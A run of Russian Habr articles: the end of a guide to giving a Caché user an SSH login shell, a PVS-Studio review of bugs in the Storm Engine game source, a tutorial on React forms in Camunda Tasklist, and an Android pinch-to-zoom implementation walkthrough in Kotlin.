Делаем его исполняемым и проверяем, простым запуском, должны попасть в терминал.
```
$ chmod 755 /usr/bin/cachesession
$ chown root:root /usr/bin/cachesession
```
Теперь создаем пользователя
```
$ useradd -s /usr/bin/cachesession cachesession
$ passwd cachesession
```
теперь при авторизации по ssh/telnet, под пользователем cachesession мы сразу попадем в Caché.
На этом все, надеюсь статья окажется полезной. | https://habr.com/ru/post/217567/ | null | ru | null |
# Йо-хо-хо, и бутылка рому! Разбираем ошибки игрового движка Storm Engine
PVS-Studio – это инструмент статического анализа, позволяющий находить ошибки в исходном коде программ. В качестве знакомства с возможностями анализатора вашему вниманию предлагается результат проверки PVS-Studio исходного кода игрового движка Storm Engine.
### Storm Engine
Storm Engine - игровой движок, разрабатывавшийся с января 2000 года компанией Акелла для серии игр Корсары. 26 марта 2021 года исходный код движка открыт под лицензией GPLv3 и доступен на [GitHub](https://github.com/storm-devs/storm-engine). Проект написан на C++.
Всего в проекте было обнаружено 235 предупреждений уровня High и 794 предупреждения уровня Medium. Многие из этих предупреждений указывают на ошибки, которые могут привести к неопределенному поведению программы. Другие предупреждения выявляют логические ошибки в коде – программа будет работать стабильно, но результаты этой работы будут отличаться от ожидаемых.
Разбор всех 1029 предупреждений – это материал, достаточный для написания целой книги, а не статьи. Кроме того, анализ почти всех этих предупреждений требует глубокого погружения в кодовую базу проекта, что долго и утомительно как описывать, так и читать. Поэтому в своей статье разберу только те ошибки и неточности, которые понятны без погружения в структуру проекта.
### Найденные ошибки
#### Лишние проверки
Предупреждение PVS-Studio: [V547](https://pvs-studio.com/ru/w/v547/) Expression 'nStringCode >= 0xffffff' is always false. dstring\_codec.h 84
```
#define DHASH_SINGLESYM 255
....
uint32_t Convert(const char *pString, ....)
{
uint32_t nStringCode;
....
nStringCode = ((((unsigned char)pString[0]) << 8) & 0xffffff00) |
(DHASH_SINGLESYM)
....
if (nStringCode >= 0xffffff)
{
__debugbreak();
}
return nStringCode;
}
```
Проведем оценку выражения, которое будет присвоено переменной *nStringCode*. Тип *unsigned* *char* принимает значения *[0, 255]*, поэтому *(unsigned char)pString[0]* всегда меньше *2^8*, после сдвига на \*8 \*получаем не более *2^16*, конъюнкция не увеличивает это значение. После увеличиваем значение выражения не более чем на *255*. Итого значение переменной *nStringCode* не превышает *2^16+256*, что всегда меньше, чем *0xffffff = 2^24-1,* и проверка оказалась всегда ложной. Таким образом, проверка на самом деле ни от чего не защищает, и её можно удалить из кода:
```
#define DHASH_SINGLESYM 255
....
uint32_t Convert(const char *pString, ....)
{
uint32_t nStringCode;
....
nStringCode = ((((unsigned char)pString[0]) << 8) & 0xffffff00) |
(DHASH_SINGLESYM)
....
return nStringCode;
}
```
Впрочем, спешить это делать не стоит. Данная проверка явно написана для защиты от ошибок, которые могут возникнуть в процессе модификации выражения или, например, константы *DHASH\_SINGLESYM*. Это тот случай, когда формально анализатор прав, но это не значит, что он нашёл фрагмент кода, требующий обязательного исправления.
Предупреждение PVS-Studio: [V560](https://pvs-studio.com/ru/w/v560/) A part of conditional expression is always true: 0x00 <= c. utf8.h 187
```
inline bool IsValidUtf8(....)
{
int c, i, ix, n, j;
for (i = 0, ix = str.length(); i < ix; i++)s
{
c = (unsigned char)str[i];
if (0x00 <= c && c <= 0x7f)
n = 0;
....
}
....
}
```
Переменной *c* было присвоено значение беззнакового типа, поэтому проверка *0x00 <= c* бессмысленна, и ее можно убрать. Сокращенный код:
```
inline bool IsValidUtf8(....)
{
int c, i, ix, n, j;
for (i = 0, ix = str.length(); i < ix; i++)s
{
c = (unsigned char)str[i];
if (c <= 0x7f)
n = 0;
....
}
....
}
```
#### Выход за границу массива
Предупреждение PVS-Studio: [V557](https://pvs-studio.com/ru/w/v557/) Array overrun is possible. The value of 'TempLong2 - TempLong1 + 1' index could reach 520. internal\_functions.cpp 1131
```
DATA *COMPILER::BC_CallIntFunction(....)
{
if (TempLong2 - TempLong1 >= sizeof(Message_string))
{
SetError("internal: buffer too small");
pV = SStack.Push();
pV->Set("");
pVResult = pV;
return pV;
}
memcpy(Message_string, pChar + TempLong1,
TempLong2 - TempLong1 + 1);
Message_string[TempLong2 - TempLong1 + 1] = 0;
pV = SStack.Push();
}
```
В этом примере анализатор помогает найти off-by-one error.
Сначала проверяется, что значение *TempLong2 - TempLong1* меньше размера строки *Message\_string*, а затем выполняется присваивание по индексу *TempLong2 - TempLong1 + 1*. В случае, если *TempLong2 - TempLong1 + 1 == sizeof(Message\_string)*, проверка будет пройдена, внутренняя ошибка сгенерирована не будет, а при выполнении присваивания произойдет обращение к незарезервированной памяти, что приведет к неопределенному поведению программы. Необходимо поменять проверку:
```
DATA *COMPILER::BC_CallIntFunction(....)
{
if (TempLong2 - TempLong1 + 1 >= sizeof(Message_string))
{
SetError("internal: buffer too small");
pV = SStack.Push();
pV->Set("");
pVResult = pV;
return pV;
}
memcpy(Message_string, pChar + TempLong1,
TempLong2 - TempLong1 + 1);
Message_string[TempLong2 - TempLong1 + 1] = 0;
pV = SStack.Push();
}
```
#### Присваивание переменной самой себе
Предупреждение PVS-Studio: [V570](https://pvs-studio.com/ru/w/v570/) The 'Data\_num' variable is assigned to itself. s\_stack.cpp 36
```
uint32_t Data_num;
....
DATA *S_STACK::Push(....)
{
if (Data_num > 1000)
{
Data_num = Data_num;
}
....
}
```
Возможно, данный фрагмент кода был добавлен для отладки и впоследствии не был удален. Переменной \*Data\_num \*вместо нового значения присваивается ее собственное значение. Сложно точно сказать, какое значение программист хотел присвоить. Вероятно, здесь должно быть присваивание значения другой переменной с похожим названием, но по невнимательности название было перепутано. Другой вариант – значение переменной хотели ограничить константой 1000, но опечатались. В любом случае это ошибка, и ее нужно исправить.
#### Разыменование нулевого указателя
Предупреждение PVS-Studio: [V595](https://pvs-studio.com/ru/w/v595/) The 'rs' pointer was utilized before it was verified against nullptr. Check lines: 163, 164. Fader.cpp 163
```
uint64_t Fader::ProcessMessage(....)
{
....
textureID = rs->TextureCreate(_name);
if (rs)
{
rs->SetProgressImage(_name);
....
}
```
Здесь сначала происходит разыменование указателя *rs*, а потом этот указатель проверяется на равенство *nullptr*. Если указатель может быть равен *nullptr*, то разыменование нулевого указателя приведет к неопределенному поведению, поэтому проверку нужно делать до первого разыменования:
```
uint64_t Fader::ProcessMessage(....)
{
....
if (rs)
{
textureID = rs->TextureCreate(_name);
rs->SetProgressImage(_name);
....
}
```
Если же гарантируется, что всегда *rs != nullptr*, то проверка *if (rs)* лишняя, и ее надо убрать:
```
uint64_t Fader::ProcessMessage(....)
{
....
textureID = rs->TextureCreate(_name);
rs->SetProgressImage(_name);
....
}
```
Есть и ещё один вариант. На самом деле, хотели проверить переменную *textureID*.
Всего в проекте встретилось 14 предупреждений V595.
Заинтересованным читателям предлагаю провести анализ этих предупреждений самостоятельно, [скачав и запустив PVS-Studio](https://pvs-studio.com/ru/pvs-studio/download/). Я же ограничусь разбором еще одного примера:
Предупреждение PVS-Studio: [V595](https://pvs-studio.com/ru/w/v595/) The 'pACh' pointer was utilized before it was verified against nullptr. Check lines: 1214, 1215. sail.cpp 1214
```
void SAIL::SetAllSails(int groupNum)
{
....
SetSailTextures(groupNum, core.Event("GetSailTextureData",
"l", pACh->GetAttributeAsDword("index", -1)));
if (pACh != nullptr){
....
}
```
При вычислении аргументов метода \*Event \*происходит разыменования указателя *pACh*, который в следующей строке кода проверяется на равенство *nullptr*. Если указатель может быть нулевым, то вызов функции *SetSailTextures*, порождающий разыменование *pACh*, должен выполняться после проверки:
```
void SAIL::SetAllSails(int groupNum)
{
....
if (pACh != nullptr){
SetSailTextures(groupNum, core.Event("GetSailTextureData",
"l", pACh->GetAttributeAsDword("index", -1)));
....
}
```
Если же гарантируется, что *pACh* – ненулевой, то проверку нужно убрать:
```
void SAIL::SetAllSails(int groupNum)
{
....
SetSailTextures(groupNum, core.Event("GetSailTextureData",
"l", pACh->GetAttributeAsDword("index", -1)));
....
}
```
#### Ошибка new[] – delete
Предупреждение PVS-Studio: [V611](https://pvs-studio.com/ru/w/v611/) The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] pVSea;'. Check lines: 169, 191. SEA.cpp 169
```
struct CVECTOR
{
public:
union {
struct
{
float x, y, z;
};
float v[3];
};
};
....
struct SeaVertex
{
CVECTOR vPos;
CVECTOR vNormal;
float tu, tv;
};
....
#define STORM_DELETE (x)
{ delete x; x = 0; }
void SEA::SFLB_CreateBuffers()
{
....
pVSea = new SeaVertex[NUM_VERTEXS];
}
SEA::~SEA() {
....
STORM_DELETE(pVSea);
....
}
```
Использование макросов – практика, требующая особой внимательности. В данном случае использование макроса привело к ошибке: выделенная оператором *new[]* память освобождается неправильным оператором *delete* вместо правильного \*delete[]\*. Как результат, деструкторы элементов массива \*pVSea \*вызваны не будут. Иногда это может не проявляться – например, когда все деструкторы элементов массива и их полей тривиальны.
Однако если ошибка не проявляется на runtime – не значит, что ее нет. Дело в том, что реализация оператора new[] может быть устроена так, что в начало участка памяти, выделенного под массив, дополнительно помещается размер этого участка и количество элементов в массиве. Тогда при вызове несовместимого оператора *delete* информация о размере блока и числе элементов, вероятно, будет интерпретирована неправильно, и результат такой операции не определен. Также не исключена ситуация, когда память для отдельных элементов и массивов выделяется из разных пулов памяти. Тогда попытка вернуть выделенную для массива память в пул, предназначенный для скаляров, приведет к катастрофе.
Эта ошибка особенна опасна тем, что она долгое время может не проявлять себя и выстрелить в неожиданный момент. Всего было выявлено 15 ошибок такого типа, вот некоторые из них:
* V611 The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] m\_pShowPlaces;'. Check lines: 421, 196. ActivePerkShower.cpp 421
* V611 The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] pTable;'. Check lines: 371, 372. AIFlowGraph.h 371
* V611 The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] vrt;'. Check lines: 33, 27. OctTree.cpp 33
* V611 The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] flist;'. Flag.cpp 738
* V611 The memory was allocated using 'new T[]' operator but was released using the 'delete' operator. Consider inspecting this code. It's probably better to use 'delete [] rlist;'. Rope.cpp 660
Анализ кода показал, что макрос *STORM\_DELETE* используется во многих из найденных случаев. Однако простое изменение оператора *delete* на оператор *delete[]* приведет к новым ошибкам, потому что этот макрос используется также и для освобождения памяти, выделенной оператором *new*. Поэтому исправить код нужно, добавив новый макрос *STORM\_DELETE\_ARRAY*, который использует правильный оператор *delete[]*:
```
struct CVECTOR
....
struct SeaVertex
{
CVECTOR vPos;
CVECTOR vNormal;
float tu, tv;
};
....
#define STORM_DELETE (x)
{ delete x; x = 0; }
#define STORM_DELETE_ARRAY (x)
{ delete[] x; x = 0; }
void SEA::SFLB_CreateBuffers()
{
....
pVSea = new SeaVertex[NUM_VERTEXS];
}
SEA::~SEA()
{
....
STORM_DELETE_ARRAY(pVSea);
....
}
```
#### Присваивание дважды подряд
Предупреждение PVS-Studio: [V519](https://pvs-studio.com/ru/w/v519/) The 'h' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 385, 389. Sharks.cpp 389
```
inline void Sharks::Shark::IslandCollision(....)
{
if (h < 1.0f)
{
h -= 100.0f / 150.0f;
if (h > 0.0f)
{
h *= 150.0f / 50.0f;
}
else
h = 0.0f;
h = 0.0f;
vx -= x * (1.0f - h);
vz -= z * (1.0f - h);
}
```
В этом фрагменте кода в случае *h < 1.0f* сначала производятся вычисления над переменной *h*, а затем ей присваивается значение *0*. Как результат – переменная *h* всегда равна *0*, что является ошибкой, и последнее присваивание переменной *h* нужно убрать:
```
inline void Sharks::Shark::IslandCollision(....)
{
if (h < 1.0f)
{
h -= 100.0f / 150.0f;
if (h > 0.0f)
{
h *= 150.0f / 50.0f;
}
else
h = 0.0f;
vx -= x * (1.0f - h);
vz -= z * (1.0f - h);
}
```
#### Разыменование указателя, полученного из функции realloc или malloc
Предупреждение PVS-Studio: [V522](https://pvs-studio.com/ru/w/v522/) There might be dereferencing of a potential null pointer 'pTable'. Check lines: 36, 35. s\_postevents.h 36
```
void Add(....)
{
....
pTable = (S_EVENTMSG **)realloc(
pTable, nClassesNum * sizeof(S_EVENTMSG *));
pTable[n] = pClass;
....
};
```
Функция *realloc* в случае, когда недостаточно памяти для расширения блока до заданного размера, возвращает *NULL*. Если произойдет такая ситуация, то при вычислении выражения \*pTable[n] \*произойдет разыменование нулевого указателя, что приведет к неопределенному поведению программы. Кроме того, из-за того, что указатель *pTable* будет перезаписан, адрес исходного блока памяти может быть утерян. Необходимо добавить проверку и использовать дополнительный указатель:
```
void Add(....)
{
....
S_EVENTMSG ** newpTable
= (S_EVENTMSG **)realloc(pTable,
nClassesNum * sizeof(S_EVENTMSG *));
if(newpTable)
{
pTable = newpTable;
pTable[n] = pClass;
....
}
else
{
// Обрабатываем ситуацию, когда realloc не смог сделать реаллокацию
}
};
```
Встречаются подобные ошибки и в использовании функции *malloc*:
Предупреждение PVS-Studio: [V522](https://pvs-studio.com/ru/w/v522/) There might be dereferencing of a potential null pointer 'label'. Check lines: 116, 113. geom\_static.cpp 116
```
GEOM::GEOM(....) : srv(_srv)
{
....
label = static_cast(srv.malloc(sizeof(LABEL) \*
rhead.nlabels));
for (long lb = 0; lb < rhead.nlabels; lb++)
{
label[lb].flags = lab[lb].flags;
label[lb].name = &globname[lab[lb].name];
label[lb].group\_name = &globname[lab[lb].group\_name];
memcpy(&label[lb].m[0][0], &lab[lb].m[0][0],
sizeof(lab[lb].m));
memcpy(&label[lb].bones[0], &lab[lb].bones[0],
sizeof(lab[lb].bones));
memcpy(&label[lb].weight[0], &lab[lb].weight[0],
sizeof(lab[lb].weight));
}
}
```
Здесь нужно добавить проверку:
```
GEOM::GEOM(....) : srv(_srv)
{
....
label = static_cast(srv.malloc(sizeof(LABEL) \*
rhead.nlabels));
for (long lb = 0; lb < rhead.nlabels; lb++)
{
if(label)
{
label[lb].flags = lab[lb].flags;
label[lb].name = &globname[lab[lb].name];
label[lb].group\_name = &globname[lab[lb].group\_name];
memcpy(&label[lb].m[0][0], &lab[lb].m[0][0],
sizeof(lab[lb].m));
memcpy(&label[lb].bones[0], &lab[lb].bones[0],
sizeof(lab[lb].bones));
memcpy(&label[lb].weight[0], &lab[lb].weight[0],
sizeof(lab[lb].weight));
}
....
}
}
```
Всего анализатор выявил 18 ошибок подобного типа.
О том, к чему могут привести такие ошибки и почему так важно их не допускать, вы можете прочитать в этой [статье](https://pvs-studio.com/ru/blog/posts/cpp/0558/).
#### Остаток по модулю 1
Предупреждение PVS-Studio: [V1063](https://pvs-studio.com/ru/w/v1063/) The modulo by 1 operation is meaningless. The result will always be zero. WdmSea.cpp 205
```
void WdmSea::Update(float dltTime)
{
long whiteHorses[1];
....
wh[i].textureIndex = rand() % (sizeof(whiteHorses) / sizeof(long));
}
```
В данном случае вычисляется размер массива \*whiteHorses, \*равный *1*, и по нему берется модуль, что бессмысленно – результатом всегда будет *0*. Возможно, ошибка в объявлении переменной \*whiteHorses \*– размер массива должен быть изменен. Не исключаю, что в этом коде и вовсе нет ошибки, и бессмысленная на данный момент конструкция \*rand() % (sizeof(whiteHorses) / sizeof(long)) \*сохранена осознанно с оглядкой на будущие изменения. Если ожидается, что размер массива *whiteHorses* в будущем будет изменен и надо будет генерировать случайный индекс в нем, то этот код имеет право на жизнь и в правках не нуждается. Независимо от того, прав ли программист в этом фрагменте кода или ошибся, на него стоит обратить внимание и перепроверить, о чем справедливо сообщает анализатор.
#### std::vector vs std::deque
Кроме явных ошибок и неточностей в коде, анализатор PVS-Studio помогает оптимизировать написанный код.
Предупреждение PVS-Studio: [V826](https://pvs-studio.com/ru/w/v826/) Consider replacing the 'aLightsSort' std::vector with std::deque. Overall efficiency of operations will increase. Lights.cpp 471
```
void Lights::SetCharacterLights(....)
{
std::vector aLightsSort;
for (i = 0; i < numLights; i++)
aLightsSort.push\_back(i);
for (i = 0; i < aMovingLight.size(); i++)
{
const auto it = std::find(aLightsSort.begin(),aLightsSort.end(),
aMovingLight[i].light);
aLightsSort.insert(aLightsSort.begin(), aMovingLight[i].light);
}
}
```
Здесь создается \*std::vector aLightsSort, \*в начало которого потом вставляются элементы.
Почему плохо вставлять много раз в начало *std::vector*? Потому что каждая, абсолютно каждая такая вставка приводит к релокации (reallocation) буфера вектора. Будет выделен новый буфер, в начало него будет записано вставляемое значение и скопированы значения из старого буфера. А почему бы нам просто не записать новое значение перед нулевым элементом старого буфера? А потому что *std::vector* так не умеет.
Зато так умеет *std::deque*. Буфер этого контейнера реализован в виде кольцевого буфера, что позволяет вставлять и удалять элементы и в начало, и в конец без копирования. Вставка в начало *std::deque* выглядит ровно так, как мы и хотим – просто вставить новое значение перед нулевым элементом.
Поэтому в данном фрагменте кода стоит заменить \*std::vector \*на *std::deque*:
```
void Lights::SetCharacterLights(....)
{
std::deque aLightsSort;
for (i = 0; i < numLights; i++)
aLightsSort.push\_back(i);
for (i = 0; i < aMovingLight.size(); i++)
{
const auto it = std::find(aLightsSort.begin(),aLightsSort.end(),
aMovingLight[i].light);
aLightsSort.push\_front(aMovingLight[i].light);
}
}
```
### Заключение
PVS-Studio выявил множество ошибок и недочетов в исходном коде Storm Engine. Многие предупреждения указывали на код, помеченный самими разработчиками как требующий доработки – возможно, эти ошибки были найдены как раз инструментами статического анализа, а может быть, их обнаружили на обзоре кода (code review). Другие предупреждения указывали на непомеченный комментариями код (а значит и не были найдены программистами) – в частности все, разобранные в статье, – и указывали на ошибки, требующие исправлений. Если вас заинтересовал проект Storm Engine и найденные в нем ошибки, вы можете повторить проведенный мною анализ самостоятельно. Также предлагаю познакомиться с [подборкой статей про проверку исходных проектов](https://pvs-studio.com/ru/inspections/) – в ней вы найдете результаты анализа других проектов.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: [Yo, Ho, Ho, And a Bottle of Rum - Or How We Analyzed Storm Engine's Bugs](https://habr.com/en/company/pvs-studio/blog/564698/). | https://habr.com/ru/post/564702/ | null | ru | null |
# Использование форм React с Tasklist Camunda
Список задач Camunda (Camunda Tasklist) отлично подходит, когда у вас есть пользовательские задачи и вы не хотите использовать или создавать собственное решение. Встроенные формы обеспечивают большую гибкость при проектировании пользовательских интерфейсов. В последние годы React стал одной из самых популярных библиотек для построения пользовательских интерфейсов. В этом блоге я покажу вам, как использовать формы React вместе с Tasklist.
Давайте сначала взглянем на наш процесс: получен счет-фактура и его нужно рассмотреть. Мы сосредоточимся на первоначальной форме счета-фактуры и пользовательской задаче — реализация автоматизированных задач с использованием Camunda Workflow Engine довольно прямолинейна.

Мы будем использовать встроенные формы для наших задач. После добавления React в качестве пользовательского скрипта в Tasklist мы можем приступить к созданию интерфейса. Я не буду использовать JSX для этого примера, так что вы можете быстро развернуть его без транспилирования. Начнем с простого поля для отображения значений:
```
class DisplayGroup extends React.Component {
render() {
return e('div', {className: 'form-group'}, [
e('label', {className: 'control-label col-md-4', key: 'label'}, this.props.label),
e('div', {className: 'col-md-6', key: 'container'},
e('input', {
className: 'form-control',
value: this.props.value,
readOnly: true
}))
]);
}
}
```
Этот stateless-компонент использует классы Bootstrap для стилизации. Если нам необходимо отобразить несколько значений, например сумму и кредитора счета-фактуры, мы можем создать его несколько раз. Например, вы можете создать форму соответстветствующим образом:
```
e(DisplayGroup, {
label: 'Amount: ',
value: this.props.amount.value,
key: 'Amount'
}),
e(DisplayGroup, {
label: 'Creditor: ',
value: this.props.creditor.value,
key: 'Creditor'
}),
e(DisplayGroup, {
label: 'Invoice Category: ',
value: this.props.category.value,
key: 'Category'
}),
e(DisplayGroup, {
label: 'Invoice Number: ',
value: this.props.invoiceID.value,
key: 'InvoiceID'
}),
e('label', {className: 'control-label col-md-4', key: 'ApprovalLabel'}, 'I approve this Invoice'),
e('div', {className: 'col-md-6', key: 'ApprovalContainer'},
e('input', {
className: 'form-control',
name: 'approved',
type: 'checkbox',
checked: this.state.value,
className: 'form-control',
onChange: this.handleInputChange
})
)
```
Ниже наших полей ввода я добавил управляемый компонент для обработки пользовательского ввода. Поскольку мы должны решить, одобрить этот счет или нет, достаточно простого флажка. Эти несколько строк кода уже генерируют большую часть окончательной формы одобрения. Я просто добавил заголовок и довершил дело.

Как вы можете видеть, использование фреймворка типа React в Tasklist не только возможно, но и довольно просто. Если вы хотите узнать больше, можете посмотреть [исходный код](https://github.com/camunda/camunda-bpm-examples/tree/master/usertask/task-form-embedded-react), который доступен на Github. | https://habr.com/ru/post/518038/ | null | ru | null |
# Pinch-to-zoom под микроскопом
Привет! Меня зовут Дёмин Алексей, я Android-разработчик в [Prequel](https://www.prequel.app/) - мобильном редакторе для фото и видео. Сегодня я бы хотел детально разобрать реализацию поведения Pinch-to-zoom. Такое поведение широко распространено в приложениях и выглядит привычным и естественным для большинства пользователей. На первый взгляд, его реализация на основе предоставляемого системой api не должна вызывать трудностей. Однако при попытке разработать решение, применимое в большинстве кейсов, возникают интересные нюансы, которые я постараюсь осветить в данной статье.
### Постановка задачи
1. Решение должно подходить для любого View
2. Можно зумить несколько раз
3. Можно двигать изображение в рамках границ
4. Значение зума ограничено снизу и сверху
### Реализация
В проекте будем зумить видео, которое проигрывается с помощью `ExoPlayer` в `PlayerView`.
Первое, что приходит в голову - это использовать `ScaleGestureDetector`.
Переопределим в `OnScaleGestureListener` пару методов:
```
ScaleGestureDetector(this, object : ScaleGestureDetector.OnScaleGestureListener {
var totalScale = 1f
override fun onScaleBegin(detector: ScaleGestureDetector): Boolean {
player_view.pivotX = detector.focusX
player_view.pivotY = detector.focusY
return true
}
override fun onScale(detector: ScaleGestureDetector): Boolean {
totalScale *= detector.scaleFactor
player_view.scale(totalScale)
return true
}
override fun onScaleEnd(detector: ScaleGestureDetector) = Unit
}
```
Засетим для `View`, которую хотим зумить, `TouchListener`
```
player_view.setOnTouchListener { _, event -> scaleGestureDetector.onTouchEvent(event) }
```
[Первая итерация готова.](https://github.com/Prequel-Inc/ZoomUnderMicroscope/tree/54ad82859b4f385b5be2dc3dc7bace0114e3f538)
Запускаем и сталкиваемся с первой проблемой - `View` дрожит.
problem1.mp4[drive.google.com](https://drive.google.com/file/d/1p_-IDDO_G1bzi1SP5mOlKMvfjfjYirHK/view?usp=sharing)Дрожание происходит из-за того, что `View` меняется непосредственно во время обработки тача. В логах видно как скачет `scaleFactor` и следовательно `totalScale`
```
totalScale = 1.0 scaleFactor = 1.0
totalScale = 1.0942823 scaleFactor = 1.0942823
totalScale = 1.086125 scaleFactor = 0.9925456
totalScale = 1.1807202 scaleFactor = 1.0870942
totalScale = 1.1435295 scaleFactor = 0.96850175
totalScale = 1.2397153 scaleFactor = 1.0841131
totalScale = 1.1949267 scaleFactor = 0.9638719
```
Чтобы победить эту проблему, просто кладём поверх нашей `PlayerView` вспомогательную `View` и сетим `TouchListener` в неё.
[Так-то лучше.](https://github.com/Prequel-Inc/ZoomUnderMicroscope/tree/d2afe6525a35f7d20395cf781a21c4fc49109ad4)
Но что будет, если теперь мы заходим позумить несколько раз? Например, сначала увеличим `View`, а потом уменьшим?
Вот и вторая проблема - когда начинается второй scale, видео резко перемещается:
problem2.mp4[drive.google.com](https://drive.google.com/file/d/12JJqVQaurnLdXZXlgkqOm8t4ROzvdwSu/view?usp=sharing)Чтобы решить эту проблему, разберём подробнее, что такое pivot, и как он влияет на итоговое изображение.
### Pivot
Pivot - это точка, которая во время zoom'а остаётся неподвижной.
На рисунке пример scale в 2 раза с `pivot = (1,1)` и `pivot = (2,2)`

Маленький прямоугольник - это экран нашего смартфона. Для простоты предположим, что `View`, которую мы растягиваем, изначально занимает весь экран. Всё, что за пределами маленького прямоугольника, пользователю не видно.
Как понятно из рисунка, то что мы увидим на экране смартфона, зависит не только от scale, но и от pivot.
Взглянем ещё раз на наш код.
```
override fun onScaleBegin(detector: ScaleGestureDetector): Boolean {
player_view.pivotX = detector.focusX
player_view.pivotY = detector.focusY
return true
}
```
В начале скейла мы выставляем pivot в зависимости от положения пальцев. Но, если перед началом первого скейла наша `View` имела scale = 1, то перед началом второго она имеет scale > 1 и какой-то `pivot = (pivotX, pivotY)`.
Если бы мы заскейлили в 2 раза с `pivot = (1,1)` и потом выставили `pivot = (2,2)`, картинка бы дёрнулась, резко превратившись из верхнего варианта, изображённого на рисунке, в нижний. Следовательно дёргание в текущей реализации происходит из-за смены pivot'а. При этом мы не можем оставить pivot без изменений, потому что нужно, чтобы именно точка между пальцами оставалась неподвижной во время зума.
Как видно из рисунка, мы можем преобразовать верхнее состояние в нижнее, просто сдвинув картинку на одну клетку вверх и влево. Вообще scale с любым pivot'ом - это scale с дефолтным pivot (центр картинки) + какой-то сдвиг по осям X и Y.
Получается, чтобы избежать дёрганий и выставить правильный pivot, нам просто нужно рассчитать на сколько сдвинуть изображение, чтобы компенсировать изменение pivot'а.
### Преобразование при смене pivot'а
В первую очередь напомним, что тачи принимает вспомогательная `View` и соответствующий фокус детектора приходит в её координатах. Поэтому для начала нужно перевести их в координаты `View`, которую мы скейлим.
Пусть сначала мы сделали скейл в 3 раза с `pivot = (1,1)` а теперь хотим сделать скейл с `pivot = (4,4)` в координатах экрана

Нам нужно перевести координаты экрана в координаты View.
Если pivot имел координаты `(pivotX, pivotY)`, то после скейла он будет иметь координаты `(pivotX * scale, pivotY * scale)`Следовательно, начало координат сдвинулось на `pivotX * (scale-1), pivotY*(scale-1)`, то есть, если фокус детектора имеет координаты `(focusX, focusY)` то в координатах увеличенной `View` координата по X будет `focusX + pivotX * (scale - 1)`, для Y аналогично.
Осталось не забыть вычесть translation по каждой из координат и, так как нам нужны координаты до скейла, всё нужно разделить на scale.
Итоговое преобразование:
```
val actualPivot = PointF(
(detector.focusX - translationX + pivotX * (totalScale - 1)) / totalScale,
(detector.focusY - translationY + pivotY * (totalScale - 1)) / totalScale,
)
```
Проверим на нашем примере:
`focusX = 4, pivotX = 1, scale = 3, translationX = 0`
`(4 + (3 - 1)) / 3 = 2`
Всё верно, нижний угол синего квадрата - это точка `(2,2)` - в изначальном положении.
Но, как мы говорили ранее, если просто поменять pivot, то будет скачок, нам надо его компенсировать за счёт translation. На сколько же нам надо сдвинуть нашу `View`? Давайте разберём как сдвигаются точки при скейле в конкретным pivot.
Рассмотрим `scale = 2` с `pivot = (1,1)`

Любая точка перемещается так, чтобы её расстояние до pivot увеличилось в scale раз. На примере чёрная точка переместилась из координат `(1,2)` в координаты `(1,3)` то есть расстояние было = 1, а стало `1 * scale = 2`.
Общая формула для изменения координаты Х (для точек правее pivot'а и scale > 1)
`x1` перейдёт в `x1 + (x1 - pivotX) * (scale - 1)`
Вернёмся к нашему преобразованию:
неподвижная точка имеет координаты `(pivotX, pivotY)`.
Если бы мы просто скейлили с нашим `actualPivot`, то неподвижная точка сдвинулась бы на `(actualPivot.x - pivotX)*(scale-1)`. Следовательно, именно на такое расстояние надо изменить translation, чтобы компенсировать сдвиг. В итоге теперь `onScaleBegin` будет выглядеть так:
```
override fun onScaleBegin(detector: ScaleGestureDetector): Boolean {
player_view.run {
val actualPivot = PointF(
(detector.focusX - translationX + pivotX * (totalScale - 1)) / totalScale,
(detector.focusY - translationY + pivotY * (totalScale - 1)) / totalScale,
)
translationX -= (pivotX - actualPivot.x) * (totalScale - 1)
translationY -= (pivotY - actualPivot.y) * (totalScale - 1)
setPivot(actualPivot)
}
return true
}
```
#### Перемещение
Добавим отдельный `TouchListener` для перемещения нашей `View`. Тут всё довольно просто. В начале движения запомним координаты и далее будем перемещать по `ACTION_MOVE`
```
when (event.actionMasked) {
MotionEvent.ACTION_DOWN -> {
prevX = event.x
prevY = event.y
}
MotionEvent.ACTION_MOVE -> {
moveStarted = true
contentView?.run {
translationX += (event.x - prevX)
translationY += (event.y - prevY)
}
prevX = event.x
prevY = event.y
}
MotionEvent.ACTION_UP -> {
if (!moveStarted) return false
reset()
}
}
```
Единственная хитрость в обработке мультитача. Координаты в `event` для `ACTION_DOWN` - это координаты первого пальца, если мы поставим второй и потом уберём первый и начнём двигать, то начальные координаты надо переопределить, ну и отменить движение, когда более одного пальца касаются `View`. Итого:
```
when (event.actionMasked) {
MotionEvent.ACTION_DOWN -> {
prevX = event.x
prevY = event.y
}
MotionEvent.ACTION_POINTER_UP -> {
if (event.actionIndex == 0) {
try {
prevX = event.getX(1)
prevY = event.getY(1)
} catch (e: Exception) {
}
}
}
MotionEvent.ACTION_MOVE -> {
if (event.pointerCount > 1) {
prevX = event.x
prevY = event.y
return false
}
moveStarted = true
contentView?.run {
translationX += (event.x - prevX)
translationY += (event.y - prevY)
}
prevX = event.x
prevY = event.y
}
MotionEvent.ACTION_UP -> {
if (!moveStarted) return false
reset()
}
}
```
Добавим коррекцию положения по завершению перемещения.
```
private fun translateToOriginalRect() {
getContentViewTranslation().takeIf { it != PointF(0f, 0f) }?.let { translation ->
player_view?.let { view ->
view.animateWithDetach()
.translationXBy(translation.x)
.translationYBy(translation.y)
.apply { duration = CORRECT_LOCATION_ANIMATION_DURATION }
.start()
}
}
}
private fun getContentViewTranslation(): PointF {
return player_view.run {
originContentRect.let { rect ->
val array = IntArray(2)
getLocationOnScreen(array)
PointF(
when {
array[0] > rect.left -> rect.left - array[0].toFloat()
array[0] + width * scaleX < rect.right -> rect.right - (array[0] + width * scaleX)
else -> 0f
},
when {
array[1] > rect.top -> rect.top - array[1].toFloat()
array[1] + height * scaleY < rect.bottom -> rect.bottom - (array[1] + height * scaleY)
else -> 0f
}
)
}
}
}
```
